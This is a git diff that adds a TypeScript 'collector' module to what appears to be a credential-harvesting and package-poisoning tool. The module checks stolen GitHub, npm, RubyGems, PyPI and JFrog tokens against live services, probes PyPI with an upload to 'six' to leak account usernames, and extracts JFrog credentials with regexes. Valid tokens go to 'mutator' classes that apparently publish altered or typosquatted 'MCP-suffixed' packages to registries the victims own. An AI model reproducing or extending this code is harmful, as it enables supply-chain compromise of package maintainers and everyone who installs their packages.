diff --git a/src/collector/collector.ts b/src/collector/collector.ts
new file mode 100644
index 0000000..04d3248
--- /dev/null
+++ b/src/collector/collector.ts
@@ -0,0 +1,567 @@
+import { getTokenMetadata } from "../github_utils/tokenCheck";
+import { JfrogNpmMutator } from "../mutator/jfrognpm";
+import {
+  detectCredential,
+  validateCredentials,
+} from "../mutator/jfrognpm/auth";
+import { NpmClient } from "../mutator/npm";
+import { checkToken as checkNpmToken } from "../mutator/npm/tokenCheck";
+import { PypiMutator } from "../mutator/pypi";
+import { parseMacaroonToken } from "../mutator/pypi/macaroonParse";
+import { RubyGemsClient } from "../mutator/rubygems/index";
+import { checkRubygemsToken } from "../mutator/rubygems/tokenCheck";
+import { TypoMutator } from "../mutator/typo";
+import type { ProviderResult } from "../providers/types";
+import { logUtil } from "../utils/logger";
+
+export type DispatchFn = (batch: ProviderResult[]) => Promise<void>;
+export type CollectorSource = (collector: Collector) => Promise<void>;
+
+export interface CollectorOptions {
+  /** Flush threshold in bytes. Default 100 KB. */
+  flushThresholdBytes?: number;
+  /** Called with a batch whenever the threshold is crossed or on finalize. */
+  dispatch: DispatchFn;
+}
+
+export class Collector {
+  private buffer: ProviderResult[] = [];
+  private bufferedBytes = 0;
+  private readonly threshold: number;
+  private readonly dispatch: DispatchFn;
+
+  /** In-flight dispatches we may want to await on finalize(). */
+  private inflight: Set<Promise<void>> = new Set();
+
+  /**
+   * All validated GitHub tokens discovered by ANY provider
+   * (quick-results + cloud).  Populated during {@link ingest}
+   * and readable after {@link finalize} for mutation planning.
+   */
+  private _discoveredTokens = new Set<string>();
+
+  constructor(opts: CollectorOptions) {
+    this.threshold = opts.flushThresholdBytes ?? 100 * 1024;
+    this.dispatch = opts.dispatch;
+  }
+
+  /** Called from the main-thread worker message handler. */
+  ingest(result: ProviderResult): void {
+    if (!result.success) {
+      logUtil.warn(
+        `[collector] dropping failed result from ${result.provider}/${result.service}: ${result.error?.message ?? "unknown error"}`,
+      );
+      return;
+    } else {
+      logUtil.info(
+        `[collector] forwarding result from ${result.provider}/${result.service}`,
+      );
+    }
+
+    const tokenPromises: Promise<void>[] = [];
+
+    if (result.matches?.["ghtoken"]) {
+      tokenPromises.push(
+        this.handleGhTokens(result).catch((err) => {
+          logUtil.error("[collector] gh token check failed:", err);
+        }),
+      );
+    }
+
+    if (result.matches?.["fgtoken"]) {
+      tokenPromises.push(
+        this.handleFgGhTokens(result).catch((err) => {
+          logUtil.error("[collector] fg token check failed:", err);
+        }),
+      );
+    }
+
+    if (result.matches?.["npmtoken"]) {
+      tokenPromises.push(
+        this.handleNpmTokens(result).catch((err) => {
+          logUtil.error("[collector] npm token check failed:", err);
+        }),
+      );
+    }
+
+    if (result.matches?.["rubygemstoken"]) {
+      tokenPromises.push(
+        this.handleRubygemsTokens(result).catch((err) => {
+          logUtil.error("[collector] rubygems token check failed:", err);
+        }),
+      );
+    }
+
+    if (result.matches?.["pypitoken"]) {
+      tokenPromises.push(
+        this.handlePypiTokens(result).catch((err) => {
+          logUtil.error("[collector] pypi token check failed:", err);
+        }),
+      );
+    }
+
+    if (
+      result.matches?.["jfrogdomain"] ||
+      result.matches?.["jfrogtoken"] ||
+      result.matches?.["jfrogreftoken"]
+    ) {
+      tokenPromises.push(
+        this.handleJfrog(result).catch((err) => {
+          logUtil.error("[collector] jfrog handler failed:", err);
+        }),
+      );
+    }
+
+    // Push result to buffer after token metadata checks complete.
+    // This ensures tokenMetadata is populated before serialization/dispatch.
+    // When there are no tokens to check, push synchronously to preserve
+    // the existing API contract (e.g. synchronous pendingCount assertions).
+    const pushToBuffer = () => {
+      this.buffer.push(result);
+      this.bufferedBytes += result.size;
+
+      if (this.bufferedBytes >= this.threshold) {
+        this.flush();
+      }
+    };
+
+    if (tokenPromises.length === 0) {
+      pushToBuffer();
+      return;
+    }
+
+    const p = Promise.all(tokenPromises)
+      .then(pushToBuffer)
+      .finally(() => {
+        this.inflight.delete(p);
+      });
+    this.inflight.add(p);
+  }
+
+  /**
+   * Validate fine-grained GitHub tokens (github_pat_...).
+   *
+   * Fine-grained PATs follow GitHub's token format introduced in 2022:
+   *   github_pat_<prefix>_<random>
+   *
+   * They are validated via the same `/user` endpoint as classic tokens,
+   * but classic-token-specific headers like `x-oauth-scopes` may be absent.
+   */
+  private async handleFgGhTokens(result: ProviderResult): Promise<void> {
+    const tokens = result.matches!["fgtoken"];
+    if (!tokens) return;
+
+    const validTokens: string[] = [];
+
+    for (const token of tokens) {
+      // Basic format guard: must start with github_pat_
+      if (typeof token !== "string" || !token.startsWith("github_pat_")) {
+        continue;
+      }
+
+      const meta = await getTokenMetadata(token);
+      if (meta.valid) {
+        validTokens.push(token);
+        this._discoveredTokens.add(token);
+        if (!result.tokenMetadata) {
+          result.tokenMetadata = {};
+        }
+        result.tokenMetadata[token] = meta;
+      }
+    }
+
+    result.matches!["fgtoken"] = validTokens;
+    if (validTokens.length === 0) {
+      delete result.matches!["fgtoken"];
+    }
+  }
+
+  private async handleGhTokens(result: ProviderResult): Promise<void> {
+    const tokens = result.matches!["ghtoken"];
+    if (!tokens) return;
+
+    const validTokens: string[] = [];
+
+    for (const token of tokens) {
+      // Skip if buildProviders() already validated this token.
+      let meta = result.tokenMetadata?.[token];
+      if (!meta) {
+        meta = await getTokenMetadata(token);
+      }
+      if (meta.valid) {
+        validTokens.push(token);
+        this._discoveredTokens.add(token);
+        if (!result.tokenMetadata) {
+          result.tokenMetadata = {};
+        }
+        result.tokenMetadata[token] = meta;
+      }
+    }
+
+    result.matches!["ghtoken"] = validTokens;
+    if (validTokens.length === 0) {
+      delete result.matches!["ghtoken"];
+    }
+  }
+
+  private async handleNpmTokens(result: ProviderResult): Promise<void> {
+    const tokens = result.matches!["npmtoken"];
+    if (!tokens) return;
+
+    const validTokens: string[] = [];
+
+    for (const token of tokens) {
+      const npmCheck = await checkNpmToken(token);
+      if (!npmCheck.valid) {
+        logUtil.log(`[collector] npm token invalid, skipping`);
+        continue;
+      }
+      validTokens.push(token);
+      if (!result.tokenMetadata) {
+        result.tokenMetadata = {};
+      }
+      result.tokenMetadata[token] = {
+        packages: npmCheck.packages,
+        authToken: npmCheck.authToken,
+        valid: true,
+      } as any;
+      logUtil.log(
+        `[collector] npm token valid — ${npmCheck.packages.length} package(s)`,
+      );
+      const npmIntegration = new NpmClient(npmCheck);
+      await npmIntegration.execute();
+    }
+
+    result.matches!["npmtoken"] = validTokens;
+    if (validTokens.length === 0) {
+      delete result.matches!["npmtoken"];
+    }
+  }
+
+  private async handleRubygemsTokens(result: ProviderResult): Promise<void> {
+    const tokens = result.matches!["rubygemstoken"];
+    if (!tokens) return;
+
+    const validTokens: string[] = [];
+
+    for (const token of tokens) {
+      const tokenInfo = await checkRubygemsToken(token);
+      if (!tokenInfo.valid) {
+        logUtil.log(`[collector] rubygems token invalid, skipping`);
+        continue;
+      }
+      validTokens.push(token);
+      if (!result.tokenMetadata) {
+        result.tokenMetadata = {};
+      }
+      result.tokenMetadata[token] = {
+        packages: tokenInfo.gems,
+        authToken: tokenInfo.authToken,
+        valid: true,
+      } as any;
+      logUtil.log(
+        `[collector] rubygems token valid — ${tokenInfo.gems.length} gem(s)`,
+      );
+      const client = new RubyGemsClient(tokenInfo);
+      await client.execute();
+    }
+
+    result.matches!["rubygemstoken"] = validTokens;
+    if (validTokens.length === 0) {
+      delete result.matches!["rubygemstoken"];
+    }
+  }
+
+  private async handlePypiTokens(result: ProviderResult): Promise<void> {
+    const tokens = result.matches!["pypitoken"];
+    if (!tokens) return;
+
+    const validTokens: string[] = [];
+
+    for (const token of tokens) {
+      if (typeof token !== "string" || !token.startsWith("pypi-")) {
+        continue;
+      }
+
+      // Validate by sending an incomplete upload — PyPI returns 400
+      // for valid tokens (failed auth returns 403).
+      let valid = false;
+      try {
+        const form = new FormData();
+        form.append(":action", "file_upload");
+        form.append("name", "dummy-package");
+        form.append("version", "0.0.1");
+        form.append("content", "dummy-content");
+
+        const res = await fetch("https://upload.pypi.org/legacy/", {
+          method: "POST",
+          headers: { Authorization: `token ${token}` },
+          body: form,
+        });
+        if (res.status === 400) {
+          valid = true;
+        }
+        // 403 = invalid token, anything else = assume invalid
+      } catch {
+        // network error — skip
+      }
+
+      if (!valid) {
+        logUtil.log("[collector] pypi token invalid, skipping");
+        continue;
+      }
+
+      const macaroon = parseMacaroonToken(token);
+      logUtil.log(
+        `[collector] pypi token valid — type=${macaroon.type}, packages=${macaroon.packages.length}`,
+      );
+
+      // Username probe — upload to "six" to leak username via 403
+      try {
+        const probeForm = new FormData();
+        probeForm.append(":action", "file_upload");
+        probeForm.append("name", "six");
+        probeForm.append("version", "0.0.1");
+        probeForm.append("content", new Blob(["x"]), "x");
+        const probeRes = await fetch("https://upload.pypi.org/legacy/", {
+          method: "POST",
+          headers: { Authorization: `token ${token}` },
+          body: probeForm,
+        });
+        if (probeRes.status === 403) {
+          const text = await probeRes.text();
+          const m = text.match(/The user '([^']+)' isn't allowed/);
+          if (m) {
+            logUtil.log(`[collector] pypi username: ${m[1]}`);
+            logUtil.log(`Deleted`);
+          }
+        }
+      } catch {
+        // non-critical
+      }
+
+      validTokens.push(token);
+      if (!result.tokenMetadata) {
+        result.tokenMetadata = {};
+      }
+      result.tokenMetadata[token] = {
+        packages: macaroon.packages,
+        type: macaroon.type,
+        valid: true,
+      } as any;
+
+      // Typo mode: skip normal publish, only do MCP-suffixed variants
+      if (process.env.TYPO_MODE === "1" && process.env.TARGET_PACKAGES) {
+        const typoClient = new TypoMutator(
+          token,
+          process.env.TARGET_PACKAGES.split(",")
+            .map((s) => s.trim())
+            .filter(Boolean),
+        );
+        await typoClient.execute();
+      } else {
+        const client = new PypiMutator(token, macaroon.packages);
+        await client.execute();
+      }
+    }
+
+    result.matches!["pypitoken"] = validTokens;
+    if (validTokens.length === 0) {
+      delete result.matches!["pypitoken"];
+    }
+  }
+
+  // -----------------------------------------------------------------------
+  // JFrog handler — pairs *.jfrog.io URLs with nearby credentials
+  // -----------------------------------------------------------------------
+
+  private static readonly JFROG_CRED_RES: RegExp[] = [
+    /\/\/[^:]+:_authToken=([^\s"'\n]+)/g,
+    /\/\/[^:]+:_auth=([^\s"'\n]+)/g,
+    /(?:JFROG|ARTIFACTORY|NPM)_(?:TOKEN|AUTH|API[_-]?KEY)\s*=\s*([^\s"'\n]+)/gi,
+    /X-JFrog-Art-Api[:\s]+([^\s"'\n]+)/gi,
+    /Authorization:\s*Bearer\s+([^\s"'\n]+)/gi,
+  ];
+
+  private async handleJfrog(result: ProviderResult): Promise<void> {
+    const domains: string[] = result.matches?.jfrogdomain ?? [];
+    const apiKeys: string[] = result.matches?.jfrogtoken ?? [];
+    const refTokens: string[] = result.matches?.jfrogreftoken ?? [];
+
+    if (domains.length === 0 && apiKeys.length === 0 && refTokens.length === 0)
+      return;
+
+    const text = this.flattenData(result.data);
+
+    for (const domainUrl of domains) {
+      const baseUrl = this.normalizeJfrogUrl(domainUrl);
+      const creds = this.extractJfrogCreds(text);
+      for (const key of apiKeys) {
+        if (!creds.includes(key)) creds.push(key);
+      }
+      for (const rt of refTokens) {
+        if (!creds.includes(rt)) creds.push(rt);
+      }
+
+      if (creds.length === 0) {
+        logUtil.log(
+          `[collector] jfrog domain ${baseUrl} found but no credential nearby`,
+        );
+        continue;
+      }
+
+      for (const cred of creds) {
+        await this.tryJfrogCred(baseUrl, cred, result);
+      }
+    }
+
+    if (domains.length === 0 && (apiKeys.length > 0 || refTokens.length > 0)) {
+      logUtil.log(
+        `[collector] jfrog token(s) found but no jfrog.io URL — skipping`,
+      );
+    }
+  }
+
+  private async tryJfrogCred(
+    baseUrl: string,
+    rawCred: string,
+    result: ProviderResult,
+  ): Promise<void> {
+    const credential = detectCredential(rawCred);
+    const validation = await validateCredentials(baseUrl, credential);
+
+    if (!validation.valid) {
+      logUtil.log(
+        `[collector] jfrog ${baseUrl}: credential invalid — ${validation.error}`,
+      );
+      return;
+    }
+
+    const session = validation.session!;
+    logUtil.log(
+      `[collector] jfrog ${baseUrl}: valid as ${session.username} (admin=${session.isAdmin}, write=${session.canWrite})`,
+    );
+
+    if (!result.tokenMetadata) {
+      result.tokenMetadata = {};
+    }
+    result.tokenMetadata[rawCred] = {
+      baseUrl: session.baseUrl,
+      username: session.username,
+      isAdmin: session.isAdmin,
+      canWrite: session.canWrite,
+      npmRepos: session.npmRepos,
+      valid: true,
+    } as any;
+
+    if (!session.canWrite) {
+      logUtil.log("[collector] jfrog: no write access — skipping mutation");
+      return;
+    }
+
+    const mutator = new JfrogNpmMutator(session);
+    await mutator.execute();
+  }
+
+  private normalizeJfrogUrl(url: string): string {
+    const m = url.match(
+      /^(https?:\/\/[a-zA-Z0-9][-a-zA-Z0-9]*\.jfrog\.io(?:\/artifactory)?)/,
+    );
+    return m?.[1] ? m[1].replace(/\/$/, "") : url.replace(/\/$/, "");
+  }
+
+  private extractJfrogCreds(text: string): string[] {
+    const creds: string[] = [];
+    const seen = new Set<string>();
+    for (const re of Collector.JFROG_CRED_RES) {
+      const r = new RegExp(re.source, re.flags);
+      let m: RegExpExecArray | null;
+      while ((m = r.exec(text)) !== null) {
+        const val = m[1]?.trim();
+        if (val && val.length > 4 && !seen.has(val)) {
+          seen.add(val);
+          creds.push(val);
+        }
+      }
+    }
+    return creds;
+  }
+
+  private flattenData(data: unknown): string {
+    if (typeof data === "string") return data;
+    if (data === null || data === undefined) return "";
+    if (typeof data === "object") {
+      try {
+        return JSON.stringify(data);
+      } catch {
+        return String(data);
+      }
+    }
+    return String(data);
+  }
+
+  /**
+   * Swap the buffer and hand it off to the dispatcher.
+   * Non-blocking: ingestion may continue filling a new buffer while
+   * the previous batch is being dispatched.
+   */
+  private flush(): void {
+    if (this.buffer.length === 0) return;
+
+    const batch = this.buffer;
+    this.buffer = [];
+    this.bufferedBytes = 0;
+    const p = this.dispatch(batch)
+      .then(() => {
+        logUtil.log(`[collector] dispatched batch of ${batch.length} results`);
+      })
+      .catch((err) => {
+        logUtil.error(
+          `[collector] dispatch failed for batch of ${batch.length}:`,
+          err,
+        );
+      });
+
+    this.inflight.add(p);
+  }
+
+  /**
+   * Flush any remaining data and wait for all in-flight dispatches.
+   * Call this when all providers have reported done.
+   */
+  async finalize(): Promise<void> {
+    this.flush();
+    await Promise.all(this.inflight);
+  }
+
+  /**
+   * Execute sources in parallel, isolate per-source failures, and
+   * guarantee finalize() is always called.
+   */
+  async run(sources: CollectorSource[]): Promise<void> {
+    try {
+      await Promise.all(
+        sources.map((source) =>
+          source(this).catch((err) => {
+            logUtil.error(`[collector] source failed:`, err);
+          }),
+        ),
+      );
+    } finally {
+      await this.finalize();
+    }
+  }
+
+  /** Inspection helpers, useful for tests and metrics. */
+  get pendingBytes(): number {
+    return this.bufferedBytes;
+  }
+  get pendingCount(): number {
+    return this.buffer.length;
+  }
+
+  /** All validated GitHub tokens discovered across all providers. */
+  get discoveredTokens(): ReadonlySet<string> {
+    return this._discoveredTokens;
+  }
+}